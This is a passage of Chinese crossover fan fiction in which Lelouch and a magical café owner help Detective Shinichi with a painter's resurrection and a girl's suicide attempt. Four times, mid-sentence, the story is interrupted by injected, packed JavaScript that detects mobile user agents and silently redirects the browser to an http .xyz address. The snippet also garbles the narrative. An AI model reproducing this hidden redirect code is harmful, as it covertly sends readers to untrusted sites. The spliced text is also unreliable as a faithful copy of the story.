七羽手中的原子笔停留在便签纸上的时间太长了，长到便签纸上被戳出来了一个深蓝的污点。 他身体往后靠在沙发上，目光投向窗外的天空。 可他已经失去观测银庭之主与圆环之理的能力了，所以映在他眼底的只有一片湛蓝的无云天空。 “虽然不知道她们还在不在……但我和L.L.你一样，我爱这个她们付出一切才保住的世界。” 七羽神色淡漠，“人类不需要知道我的存在。” “很高兴我没有看走眼。”鲁路修把剩下的咖啡倒进一旁的垃圾桶，“但既然你打算安安稳稳的开咖啡店，好歹精进一下手艺。” “……虽然我知道是因为咖啡的缘故，但L.L.你这样真的很打击人。” “呵，你还好意思抱怨？要我帮你回忆一下是谁拜托我帮忙确认Debuff的吗？” “是我，谢谢提醒。”七羽把便签本的前几页扯掉，“我大概能理解你的意思了。” “你最好是真的明白了。”鲁路修先是嘲讽了一句，然后又耐心的给七羽分析，“‘能够实现人愿望的咖啡店’——这种话只能从顾客嘴里说出来，而不能由我们去推销，我们要成为的是似是而非的都市传说，而不是板上钉钉的邪教团伙。” “我们要让顾客觉得他们只是从我们这里得到了好运，真正帮助他们达成愿望的是他们自己——或者别的什么，反正直接原因绝对不能是咱们。” 鲁路修总结：“如果你不想被麻烦缠上，就得好好想想方式。” “多谢提醒。”七羽前后对比着出云晴子和鲁路修的态度，“所以咖啡的Debuff确认了只有放大情绪这一项吗？” “这还不够吗？”鲁路修冷笑，“你难道觉得只需要两拳就能敲出来完美吐真剂？出云晴子在说谎你不是也看出来了？” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621053|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不能叫说谎，至少不完全是谎言。” “这就看你怎么界定‘谎言了’，如果你认为只要是心中真实所想就是实话，那出云晴子的确不算说谎。” 毕竟那就是出云晴子认定的“事实”，她用虚假的事实把自己都骗了过去。 想到那位自己扭曲了自我认知的顾客，鲁路修补了一句：“你原本是想用非常规手段暗中帮她实现委托吧？我可以给你一次机会。” 七羽以眼神询问鲁路修这话是什么意思。 “你可以通过自己的方式抓住这一次机会，但前提是要符合你刚刚所说的准则，如果你失败了……。”鲁路修双手撑着圆桌逼近七羽，“以后进了副本，你要绝对服从我的命令，不准再擅自决定，尤其是可能导致你魔力耗尽的任性行动，绝对禁止。” 鲁路修顿了一下，确认七羽能够理解自己的意思后以一种命令式口吻问道：“听懂了吗？” 七羽定定地看着他，然后平静的应声：“好。” * 咖啡的副作用到了第二天才结束。 期间有一支装修队过来，七羽询问后对方表示是一位姓大道寺的女生下的订单，说是有一家咖啡店要对仓库进行改装。 等他们抬着一张高低床进来后，七羽才意识到他和鲁路修目前没有住的地方。 而且知世真的很周到，她不仅考虑到了两人住宿的问题，还特意托装修队送来了生活用品和两部已经装好电话卡的智能手机，开机后里面存了她的联系方式。 在不违背与叔母约定的前提下，知世力所能及提供了七羽所急需的帮助。 由于要进行改装，七羽找到了“营业中”的门牌，他把牌子翻到“休息中”那一面，挂在了店门外。 改装加打扫卫生就花了一整天的时间，等收拾好了天色早就擦黑了。 知世给装修队订餐的时候顺便也给七羽二人订了一个月的外送服务，当然，知世给他们俩的标准比给装修队的高出来一大截。 阿赖耶出品的系统虽然不靠谱，但无论是鲁路修还是知世都靠谱极了。 还有这个身份那不靠谱的母亲，也有一个靠谱极了的朋友。 会给咖啡店装修洗浴间作为员工福利的店长真的独此一家。 联想到那台昂贵的高端咖啡机，以及经鲁路修品鉴为香醇的咖啡豆，再结合墙上那亲民的价格，怪不得原店长经营不善倒闭了。 只能说他不倒闭谁倒闭。 被鲁路修拉着科普了一整天常识的七羽转天一早就拉着鲁路修重新制定价目表，因为要处理的事情太多，他们今天仍旧歇业，只是他们才开了个头，连刚送来的早餐还没来得及吃，挂着“休息中”的店门就被推开了。 昨天带着出云晴子离开的工藤新一一脸恍惚的走了进来。 “早安，你的脸色好像不太好，是昨天回去没休息好吗？”正指正七羽疏漏的鲁路修听见动静看过去，“还是出云小姐的委托不顺利？” 鲁路修之所以这么问，主要是新一看上去不像是因为脑部受伤，反而像是遇见了什么让他无法理解、动摇他认知的事情。 “啊……那件案子现在出了点……嗯……出了很大的状况。”恍惚的高中生侦探缓了一会儿才继续说，“虽然严格来说不能向外人透露案件详情，但这件事闹得很大，你们打开热搜就能看到。” 在七羽和鲁路修掏出手机的档口，新一已经说出了最后一句。 “前天已经确认死亡的当事人雾雨弥子，昨晚在冷冻柜中活了过来。” 21.波洛咖啡店 【顶流画家雾雨弥子死而复生！！！】 【那一夜我在停尸间值班，一抬头尸体竟站在我面前！】 【真假顶流画家！现代整容技术是否能做到完美换头顶替？】 【盘点某知名画家那被吓出失心疯的未婚夫是否心中有鬼】 …… 鲁路修一打开Twitter，立马就被相关热搜刷了屏，最上面的一条更是浏览量破了10W+，下面的评论从阴谋论到鬼故事，堪称五花八门什么都有。 在一众猎奇的标题中，鲁路修点开了热度最高的第一条，里面的报道内容虽然用语同样浮夸，但好歹没有变成志怪故事，还算是实事求是的讲清楚了整件事的大致过程。 只是不知道这个笔者到底是瞎编的，还是他真的有内线消息。 本来鲁路修听到这炸裂的消息后，第一反应是有人偷走了尸体，整容换头顶替了雾雨弥子的身份。 虽然这操作也很炸裂，毕竟只要是智商正常的罪犯，就不会把原主死亡的消息闹得人尽皆知，静悄悄的处理掉原主，悄无声息的取代原主不好吗？ 但再怎么说，这好歹也算是个符合现代科学的解释。 可这帖子居然说监控拍到了雾雨弥子从冷冻柜爬出来的全过程。 鲁路修连翻了几个帖子，不论其他情节是否有艺术性加工，但在这一点上却出奇的统一。 这不科学，但这很魔法。 鲁路修抬头，不着痕迹的扫了眼身边扔在刷帖子的七羽。 “是不是很炸裂，很挑战认知？”工藤新一拖着疲惫的步子走到七羽身边坐下，他双眼无神的往桌子上一趴，“最炸裂的是，我检查过视频了，视频没有任何剪辑拼接的痕迹，当事人我也去见了，根本不是整容，就是画家雾雨弥子本人。” 无论从哪种角度都无法用科学来解释，思维走进死胡同新一甚至连夜拜托目暮警官，要到了雾雨弥子的死亡诊断书，也联系了当时下诊断书的公立医院。 很可惜，这一出死而复生也不可能存在诊断失误。 可要是说是医学奇迹，那也……太奇迹了吧？！ 鲁路修正盘算着自家店主在这件事里到底出了几分力，闻言只是敷衍的“嗯”了一声，算是回答了认知破碎的新一。 另外，他也有点摸不准工藤新一特意前来跟他们说这些的用意。 假设这件乍一看很魔法的事情的确和七羽有关，以七羽的水平，哪怕再缺乏常识，经历了昨天的科普后鲁路修也不认为七羽会在这么要命的问题上留下任何会被高中生侦探追踪到的把柄。 是以，鲁路修从科学角度提出了一种可能性：“有没有可能是某种非公开的新技术？雾雨弥子已经成年了，骨骼也已经发育完全，如果从几年前就开始谋划，按照雾雨弥子的脸型骨骼做削骨，几年后再实施杀人顶替的计划也是可行的，考虑到雾雨弥子今年22岁，4年的时间也足够面部创口恢复了。” “不可能，虽然女性的骨骼通常在16到18岁之间就会闭合，但下颌骨的发育通常都会持续到25岁，如果有人在几年前照着雾雨弥子当时的脸型整容削骨，那她的下颌骨曲线不可能和雾雨弥子现在的下颌骨曲线完全吻合。” 在涉及到推理可能用到的知识这方面，偶像是福尔摩斯的新一堪称是储备量丰富，他一口就驳回了鲁路修的说法。 鲁路修：“也不能排除雾雨弥子的所有照片影像都已经被替换的可能性吧？” “你说的这种可能性的确存在，但雾雨弥子自证了她就是本人。”工藤新一吐露了一条没有被任何社交媒体披露出来的细节，“雾雨弥子是个画家，顶流画家。” 新一在“顶流”两个字上加了重音。 “想知道现在的她是不是本人太简单了，只要让她现场画一幅画，就能证明一切。” 脸可以整，照片影像可以换，声音可以植入变声器，但只有才华是无论如何都无法模仿的。 “很令人震惊对吧？但复活的毫无疑问就是雾雨弥子本人。” 说到这里，工藤新一的目光落在七羽的脸上，目光专注的样子全然不见方才那破大防的样子。 “还有一件很奇怪的事情。”他说，“知道雾雨弥子复活后，出云小姐立刻就找过去了，可是雾雨弥子居然并不认识出云小姐，不仅如此，她还否认了出云小姐手机中储存的那些画作是她所画。” 雾雨弥子并不是那个给出云晴子发简讯的人，那些据说是记录生活的画作也并不是出自雾雨弥子。 “关于这个，其实昨天我们就猜到了一点。”话题转到出云晴子身上后，鲁路修就大致猜到工藤新一一大早找来他们这里的原因了，“出云小姐的手机里储存的不仅有她口中雾雨弥子画给她的私人作品，也有从网络上保存的公开作品，而只要懂一点绘画，就能看出来这两类作品并不是出自同一人之手。” 只是不知道这件事出云晴子自己是否清楚。 那个女孩儿有一点没有说谎，她的精神状态的确已经到了要靠吃药维持的地步，所以根本说不清她是知道真相，但仍旧用谎言骗过了自己，还是真的毫不知情。 “你们果然看出来了。”没有从七羽那张毫无波澜的脸孔上看出任何有效信息，工藤新一慢吞吞的撑起上半身，自来熟的取了个空碗，指了指外卖的保温壶，“我可以用一点吗？连着熬了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629084|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个晚上，还东奔西跑的，偏偏这个点我常去的店铺还没营业。” 高中生侦探的脸上写满了“好饿，好想吃饭”这几个字。 鲁路修在征求七羽的意见后，做了个“请”的手势。 “多谢了，真的是帮大忙了。”新一舀了一碗粥，他端着碗看向七羽二人，“你们不吃吗？” “事实上如果没有人打扰的话，这个点我们本来应该已经吃完了。”七羽打开保温袋，取出里面叠放的餐盒，一一打开摆了一桌子，“店里没有多余的筷子，不介意的话我给你拿副一次性手套？” “不介意不介意，这么早过来打扰你们还蹭了你们的早餐，我才应该说声抱歉。”新一吹着热粥摆摆手，“但遇到这么有趣的案子，我的脑子真的没办法停下思考，我觉得这个案子的突破口就在这，所以天一亮就迫不及待跑过来了。” 高中生侦探道歉的态度倒是很诚恳，如果不是他喝完一口粥后眼睛突然亮起来，那可能会显得更有诚意点，“哇，这家外卖的粥味道棒极了，我可以加七羽你一个联系方式，拜托你把外卖电话发我吗？” “加联系方式倒是没问题，只是外卖电话我得问一下，早餐是我姐姐帮忙定的。”七羽取了一次性手套递给工藤新一，“你说突破口在这？” 七羽比划了一下：“你指的是我和鲁路修？” 忙着喝粥的新一点点头又摇摇头。 “呼，活过来了。”新一放下碗，揉了揉热乎起来的胃口，“与其说是你们，不如说是七羽你泡的咖啡。” 他套上一次性手套开始分享知世订的豪华早餐。 “我认为，雾雨弥子的身份问题或许可以从出云小姐身上进行突破。”新一嚼着玉子烧，腮帮子一鼓一鼓的，“所以在昨天她们俩对峙后，我去拜访了出云小姐，但出云小姐回家后就把自己关了起来，谁都不见。” 嚼嚼嚼。 “见不到出云小姐，我就和她的母亲聊了聊。” 嚼嚼嚼。 “据出云小姐的母亲说，出云晴子回去后不仅不出门、拒绝和人沟通，甚至连饭都没有吃一口，唯一的例外是……”咽下口中的玉子烧，新一认真的看着七羽，“她泡了家里所有的速溶咖啡，可都在喝了一口后倒掉了。” “所以你认为，她是想喝我们家的咖啡？” 鲁路修边问边擦干净手，之后自然垂到桌下的右手圈住了七羽的手腕。 七羽抽手后反握回去，用食指轻轻的在鲁路修手心勾着字。 没发现二人小动作的工藤新一道出了自己来此的根本目的。 “是的，所以我冒昧前来，想请七羽再为出云小姐泡一杯咖啡。” 22.波洛咖啡店 作为送上门的机会，七羽自然不会拒绝新一，其实就算新一今天不来，他也打算找借口去拜访出云晴子。 但在咖啡的问题上，七羽却和新一存在分歧。 “为什么一定要带咖啡机？如果你是觉得泡完了带过去凉了会影响味道，咱们可以带磨好的咖啡粉过去泡啊？” 工藤新一在听到七羽居然要扛着整台咖啡机走的时候瞪大了眼睛，他比划了一下咖啡机的体积，表示先不提这台咖啡机有多重，他们仨能不能抬得动，就算是他们抬得动，也不可能过得去地铁的安检。 “不行，必须要带上，原材料有一部分不在我们店里。” 七羽抱着咖啡机不撒手，表示他家咖啡机材料是定制的，虽然体积大但重量轻，用不着他们三个人，他自己就能拎着走。 “我们可以叫计程车。” 最后还是鲁路修出面阻止了两个人关于咖啡机的拉扯。 有求于人的新一只好妥协，并在看到七羽单手拎起咖啡机后带着“自己是不是太缺乏锻炼了”的自我怀疑上楼摇专车司机去了。 于是七羽二人和自己楼上邻居的第一次见面，就在邻居的低气压与起床气中有了个不太美妙的开端。 昨天接了出云晴子委托，同样陪着出云晴子跑了一天，同样认知粉碎的毛利侦探挂着黑眼圈发动了汽车，然后在七羽抱出来一台咖啡机并打开后备箱后瞬间清醒。 毛利小五郎一激灵，条件反射得想跳起来，结果却忘记自己坐在驾驶席上，被安全带勒得发出一阵惊天动地的咳嗽。 就在毛利小五郎猛咳捯气，来不及阻止七羽的空挡，七羽把施了魔术的咖啡机往后备箱一放，车子的底盘仅仅下沉了不足一厘米，车主的怒吼也吞了回去。 出云晴子的居住地点距离5丁目不算远，开车过去也就15分钟的车程，只是他们出门的时候已经到了早高峰，拥堵的交通环境额外浪费了他们10分钟的时间。 眼看着距离和出云太太约定的时间越来越近，而他们却仍堵在路上，新一掏出手机翻开通讯录，找到昨天才存下的号码拨了过去。 可等了一会儿，电话没有被接通，反而转入了留言信箱。 工藤新一盯着手机上呼叫失败的显示，缓缓沉下脸。 侦探的直觉让他感觉到了不对劲。 只犹豫了两秒，新一便指向了旁边的小道，“大叔，走这边！” “那是单行道！你一大早起过来砸门，我没揍你就已经是看在小兰的面子上了，你还……” 不等毛利小五郎骂完，上车后就一直拿着手机刷“雾雨弥子”相关信息的鲁路修就出声打断了他：“出云小姐住的小区是影米花公寓？” “没错。”正试图说服毛利大叔的新一从副驾驶转过头，“怎么了？” “那我们可要快一点。”鲁路修把手机转过去，示意前排的两人看屏幕，“这是实时直播，影米花公寓有人要跳楼。” “大叔！” “啊啊啊啊！知道了知道了！我这不是正在掉头吗？你们这群没有驾照的小鬼真以为说掉头就能掉头啊，你们看看前后的余量啊！” 毛利小五郎嘴上骂骂咧咧，但手上换挡的动作却干脆利落，丝毫不拖泥带水。 堵塞到只能听到此起彼伏喇叭声的马路上，忽然响起了一声发动机的咆哮，原本汇在车流中的白色丰田皇冠的刹车灯徒然熄灭，早就踩下的油门已经给足了动力，在制动消失的刹那，满转的发动机带着车身猛地窜了出去，伴随着刺耳的摩擦声，给前车的车尾带走一大块底漆的同时掉了个头，向着隔壁的单行道一头撞了进去。 “我就知道和你这小鬼一起就准没好事！” 没工夫默哀自己租来的车再次战损，也顾不上身后的叫骂声，毛利小五郎猛踩油门，擦着前方入口已经转进来半个车头的来车飚了出去。 鲁路修双手握紧了车门上方的扶手，至于他的手机，早就在毛利小五郎第一次大甩尾的时候被甩到了座椅底下。 “再快一点。”鲁路修说。 “别得寸进尺啊小鬼头的朋友！再怎么说我也不可能从天上飞过去吧？！” 方向盘被毛利小五郎粗暴的打死，由于力度过大，发出了沉闷的“咚”的一声。 结果就在毛利小五郎忙着避让行人的时候，他的余光在后视镜里瞥到了让他心脏停跳的一幕，“等——！” 歪歪扭扭半边车身骑着人行道往前冲的丰田皇冠右侧的后座车门突然打开，长发的漂亮少年轻巧落地的同时，大开的车门又被车辆前行的惯性甩回了原位，发出凄惨的“嘎吱”声。 “放心，七羽会赔付您的损失。”鲁路修的声音姗姗来迟，“现在您可以慢一点了。” 连人行道都没空子钻，压根已经寸步难行的毛利侦探：…… 强行开出一段距离的丰田皇冠停在了人行道上，这下车上的另外两个乘客也抛弃了开不起来的四个轮子，打开车门向着八百米外的影米花公寓狂奔。 “喂！臭小鬼！” “大叔，情况紧急，我们先去！你一会儿带着咖啡机过来！” * 影米花公寓作为米花町的高级公寓，无关人士想进去都需要保安和业主进行确认，但七羽从小区大门上一跃而过时保安室的门大敞着，里面一个人影都没有，掉落在地上的帽子诉说着主人离开的匆忙。 隔着很远，七羽就听到了人群叽叽喳喳的议论声。 只见中庭绿化带的另一头，一群人围在楼下动作统一的仰头往上看，部分认识的人三三两两聚在一起，看热闹的同时自以为遮掩很好的对游离在人群外的出云太太指指点点。 “她就是那姑娘的母亲啊……” “自家女儿要跳楼了还这么冷静，这得多不待见自己孩子呀？” “你不知道吧？出云太太以前就带着女儿自杀过，只不过被楼下的邻居及时发现，抢救回来了，自那之后她女儿就得了精神病，听说再也没出过门。” “好可怕，她是不是也有精神病？” “我看是，哎，多好的小姑娘啊，年纪轻轻的就退了学，听说以前学习成绩还不错呢，这下好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633628|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，人生被亲妈毁了，人也不想活了，这不就跳楼了。” “啧啧，说不准是家族遗传呢？要不怎么被离婚了呢？” “行了行了，快别说了，听说这里面还有别的事儿，晦气得很，诶对了，你们有人报警了吗？我看出云太太都没拿手机，她应该没报警吧？” “啊？她没报警吗？应该有人报警了吧？这儿这么多人呢。” “你瞎操什么心，和泉婆婆肯定早就报警了，谁不知道这影米花公寓就属她最爱多管闲事，连别人扔个垃圾没分类都要指手画脚。” …… 无数的闲言碎语夹带着令人心惊的漠不关心，在只有七羽能看到的视野里，令人作呕的黑色淤泥从人群的口中、眼中、身体中溢了出来，但所有这一切累积到一起，都比不上孤身站在人群之外的那位女士。 “不要啊！不要做傻事啊晴子！” “诶呦！跳了跳了！真跳了！” 人群骚动起来，刚才还围在一起的人们“呼啦”一下子散开了，生怕自己成了唯一被波及的倒霉鬼。 21层的公寓顶层，穿着小熊毛绒睡衣的女孩子一跃而下，像折了翅膀的幼鸟，毫无反抗能力的被重力拽往地面。 七羽毫不停留的穿过人群，围观的人群只感觉到一阵拂过的微风，只有待在原地一动不动仰着头的出云太太看到了一双天青色的眼睛。 “快看！那是不是个人？！” “天呐！” “录下来录下来，田中你录下来了吗？” …… 和别人不一样，不是恶意。 七羽在经过出云太太时，匆匆一瞥。 那位母亲的眼中是麻木，绝望到了极致、超过了精神所能承受的极限后所展现出来的麻木。 来不及多加思考，七羽张开双手的同时右眼眼下浮现出三颗晶莹剔透的菱形晶体，其中淡紫色的那一颗在晨光的照耀下散发着柔和的微光。 在没有任何人察觉的一秒钟，七羽接住静止的出云晴子，当他触碰到出云晴子的小熊睡衣，时间才重新开始转动，女孩儿被风撕扯的长发才打着旋飘飘落下，和七羽的黑发纠缠在了一起。 闭着眼的出云晴子还没意识到自己已经获救了，直到她按在胸口的右手微微一动，空落落的掌心令她猛然睁开眼。 她低头看向自己的右手，接着浑身都发起抖来。 “……不……不要……” 出云晴子的右手合上又张开，可无论她重复多少次，手中都空无一物。细弱到被风一吹就散的声音打着颤，比死亡还要可怕的绝望在顷刻间就要将她吞没。 “别担心，我接住它了，它完好无损。” 七羽抬起揽着女孩儿胳膊的那只手，摊开掌心。 出云晴子僵硬的扭头。 那是一部手机。 一部屏幕还停留在相册界面的手机。 【确认删除所选照片？】 看着这个她在放弃生命的最后都没能按下的确认键，出云晴子嘴唇蠕动几下，最终紧紧抱住七羽，放声大哭。 23.波洛咖啡店 警察和消防姗姗来迟，等他们到场，警戒线拉起来、消防员扛着消防救生气垫进场，一切已经尘埃落定。 情绪输出过大的出云晴子已经攥着手机昏睡在了七羽肩膀上，只有现场围观人员的摄像头记录下了刚才真的有人从21层的顶楼跳下轻生。 七羽耳边是出云晴子昏睡也不安稳的抽噎声，以及警察和围观群众的对话，他瞥见有两个年轻姑娘激动的指着他，语速惊人的把自己看到的奇迹画面描述给询问的警察。 而首先被问询的报案人——影米花公寓的和泉婆婆已经做完了简单的笔录，带着一脸难以置信的中年警官走了过来。 “我们接到报案说影米花公寓有人要跳楼。”中年警官看了眼七羽怀里毫发无伤的女孩，怎么也没办法说服自己相信方才报案人的话，“这位和泉奶奶说……你接住了跳楼的当事人？” 他用怀疑的眼神上下看了跪坐在地的七羽，视线在七羽支撑着女孩的双臂上多停留了一会儿：“你们有受伤吗？需不需要送医？” “我们很好。”七羽腿部腰部同时发力，抱着出云晴子站起身，他的动作很稳，稳到连昏睡都不安稳的女孩儿没察觉到丝毫姿势的变动，“但她们可能会需要一位心理医生。” 为了不吵到女孩儿，七羽把声音放的很轻。 “她们？心理医生？”中年警官顺着七羽的视线看过去，“出云太太？” 认出安静站在10米外的出云太太后，警官反应了过来：“当事人是您的女儿？” “可不就是嘛！”说起出云太太，和泉婆婆脸上的皱纹都深了几分，“你说这造的什么孽啊，彩华啊，你得和晴子好好沟通啊，这女孩子啊一到这个年纪就那个什么……那个词怎么说的来着，青春什么……叛……” “青春期？叛逆期？” 见和泉婆婆卡住了，中年警官可能是处理多了这家长里短，已经对老年人形成了一套条件反射的应对流程，下意识的就接了话，等话出了口，才惊觉自己说这话可不合适。 可还不等警官找补，被提醒的和泉婆婆就一拍手：“对！青春叛逆期！” 上了年纪的老人恨铁不成钢的看着一声不吭的出云太太：“彩华啊，你得跟孩子交流，我知道以前的事对你影响很大，那是那些碎嘴子的人不对，你心里有坎过不去，拒绝和人沟通，这婆婆我不强求你，但晴子不是别人啊，晴子是你女儿啊！” 面对和泉婆婆的苦口婆心，出云彩华没有任何反应。 她几乎是冷漠的看着面前的婆婆，只有在目光触及到七羽怀中的女儿时，眼睛里的麻木才化开了几分。 出云彩华放下手中一直拎着的菜篮子，走到七羽面前伸出手。 七羽看着递到自己面前的双手，眼神沉了沉。 由于抬手的动作，出云彩华被衣袖遮住的手腕露了出来，瘦骨嶙峋的手腕上，一道--不，数道早已愈合的狰狞刀口横在苍白的皮肤上，透过这些疤痕，隐隐能看出当年挥刀的人有多么疯狂的痛恨自己。 “给我吧。”见七羽没有动作，出云彩华又把手往前递了递。 鲁路修和新一就是在这时赶到的。 他们比警察消防员就慢了一线，可就是这一线，他们就被拦在了小区门口，最后还是遇到了认识的警官，靠工藤新一刷脸才被放了进来。 “七羽，交给出云太太吧。” 新一神色复杂的看着七羽，他其实也对七羽居然能接住出云晴子感到难以置信，但此时此刻，他也知道这种场合不宜多说。 既然新一开了口，而出云彩华又的确没有恶意，七羽才把怀里的出云晴子交了出去。 出乎他意料的是，在他怀里很不安稳的出云晴子一被母亲抱过去--哪怕出云彩华抱得很勉强、很摇摇欲坠，一点儿也不平稳，但出云晴子却奇迹般的安静了下来。 穿着毛绒小熊睡衣的女孩甚至用乱糟糟的发顶蹭了蹭母亲的颈窝，丝毫不嫌弃母亲突出的肩胛骨硌人，就这么停下了断断续续的小声哽咽。 “小野警官，晴子是我的委托人，现在的情况您也看到了，不适合叫醒她，万幸是没人受伤，要不先撤了警力，您和我们一起上去向出云太太了解情况？” 趁着新一和中年警官沟通，总算缓过来的鲁路修搭上七羽的肩膀，疲惫得把自己的体重分担过去一半。 “没事吧？” 表面上听来似乎是在关心七羽是否受伤，但七羽清楚鲁路修问的是另外的事。 七羽摇了摇头，示意他不用担心，“咖啡机呢？” “毛利侦探那呢，一会儿拜托工藤给他打个电话，让他直接把咖啡机拿上去。”鲁路修还有些气喘，他换了口气，才继续问道，“拿到了？” 七羽点点头。 就在出云晴子因为失而复得的手机放声大哭时，一枚代表着愿望的水晶混杂在女孩儿晶莹的泪水里从眼中滴落，落到了七羽的掌心。 此时那枚玫瑰色的水晶就躺在七羽的衣袋里，等待着被研磨成能够实现愿望的咖啡，给自己绝望的主人重新带去救赎。 ＊ 因着高中生侦探的信誉，小野警官最后同意了新一的请求，警队和消防队离开了现场，七羽他们一行人也跟着出云太太上了楼。 出云彩华带着他们乘电梯上了15层，腾不出手的她让七羽从自己衣兜里取了钥匙开门。 只是很平常的一个举动，但听到出云彩华这般开口的小野警官却诧异的看了眼七羽。 仿佛出云彩华会主动和人说话、请求帮助是一件多么不可思议的事情。 “我送晴子回卧室，各位请自便。” 门开了，丢下这么一句话，出云彩华便把一行人丢在了门口，独自抱着女儿去了卧房。 七羽把手中属于出云太太的菜篮子放在玄关的地板上，脱鞋进屋后打量着这间公寓。 这是一间布置得相当温馨的屋子，有着柔软舒服的布艺沙发和亮堂的落地窗，电视柜上放着马鞭草味道的熏香，小黑脸的长毛猫猫不怕生的跑过来围着七羽的脚边打转。 单看屋子的氛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646832|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围，很难想象在这里居住的两位主人居然都曾放弃了自己的生命。 “小熊很喜欢你。”安置好女儿的出云太太从卧室出来，看了看粘着七羽的喜马拉雅猫，向挤在玄关的几人指了指沙发，“不用换鞋，过来坐吧。” “那就打扰了。”曾因当年的事和出云太太有过交集的小野警官率先走了进去，坐在了客厅的单人沙发上。 七羽三人跟在后面，在长沙发上坐成一排。 虽然出云太太说不用换鞋，但看着屋内干净的实木地板，几人还是不约而同的脱掉了鞋子，踩着袜子进了屋。 出云彩华没说好也没说不好，她不紧不慢的去厨房倒了四杯茶水，放在托盘上端进了客厅。 “我知道你们想知道什么。”出云彩华在另一张单人沙发上坐下，她双手交叠在膝头，“晴子的确对此一无所知。” 出云彩华的开场白听得小野警官一头雾水。 工藤新一的眼睛却亮了起来：“您指的是……” “当初晴子恳求我帮忙要到雾雨弥子的联系方式，于是我便去了。”出云彩华声线平稳极了，仿佛不知道她即将揭露的事情很可能会成为明天的头条，“我在雾雨弥子的工作室外跪了很久，她一直没有松口，于是我去求了我的前夫。” 很短的两句话，却令在场的另外三人纷纷动容。 “他给了我一个地址，我找了过去，找到了另一个雾雨弥子。” 工藤新一急切的追问：“另一个？” “是的，另一个，她是带着枪伤回来的，我帮她处理了伤口，她帮我给晴子画画。” 出云彩华以简短至极的语言讲了一个本质惊心动魄的故事。 在那样一个雨夜，有一位母亲为了自己的女儿，面对抵在自己眉心的枪口，平静的问持枪的暴徒—— “我曾是米花中央医院的外科主刀，我可以救你的命，前提是你要答应我一个交易。” ＊ 出云晴子也不知道自己睡了多久，自她从楼顶跃下后，她的记忆就停留在了那一刻，后面发生的事情于她的脑海里，就像是一部蒙太奇影片，回忆夹杂着当下，浸泡在一杯香醇到醉人的咖啡里，杂糅成彩色的混沌，令她分不清哪部分是真实，哪部分又是梦境。 应该都是梦吧？ 不然雾雨怎么会出现呢？ 不然怎么会有猫咪亲昵的磨蹭她的脚踝呢？ 不然母亲怎么会拥抱自己呢？ 没错，或许现在自己也并没有睡醒，但如果这是梦的话，应该是个美梦吧？ 要是能一直生活在这个梦里就好了。 仍旧攥着手机不松手的女孩儿呆呆的望着天花板。 直到一阵风吹起了暖米色的窗帘。 出云晴子缓缓瞪大了眼睛。 “我为你的愿望而来。” 她怔怔的看着向她伸出手的美丽少女。 银白的月光从窗外洒落进来，照亮了七羽的侧脸，也照亮了女孩儿的梦。 “要实现愿望吗？” 24.波洛咖啡店 三原千春有刷论坛的习惯，今天也一样，当她和好友知世打完早餐找到位置坐好，知世打开笔电，一边搅着咖啡，一边精细化昨天做好的设计稿，而三原千春则展开手机支架，把手机放在方便浏览的位置，舀一勺麦片，刷一下论坛。 这两天友枝市没什么大新闻，三原千春两口麦片的功夫就刷完了本市速报，没什么可看的她久违的打开了高联论坛。 本意只是想看看各大高校帅哥养养眼下下饭，结果常年被各大高校学子用来交友爆照、吹牛灌水外加发疯创人的论坛居然出现了一个和高中生活八竿子打不着贴子。 三原千春看着贴子后面紧跟着的【Hot！】【爆！】【1k+】一连串红色标识，万分好奇的点了进去。 标题：《啊啊啊啊啊啊我的梦中二次元帅哥活了！！妈妈怎么办，这次我真的恋爱了！！！》 三原千春点进贴子，才看全了因为太长而被折叠的标题。 呵，我就知道只有帅哥才能在高联一呼百应。 让我看看什么样的帅哥才配得上页数四位数的顶配待遇。 抱着围观看热闹的心态，三原千春略过楼主千字小作文，直接点开了附着的视频。 ！！！ 三原千春手里的勺子掉进了牛奶麦片里。 她把视频循环播放了三遍，聚精会神的都忘记了自己的早餐，三遍之后，双眼亮晶晶的三原千春火速下滑浏览评论。 1L 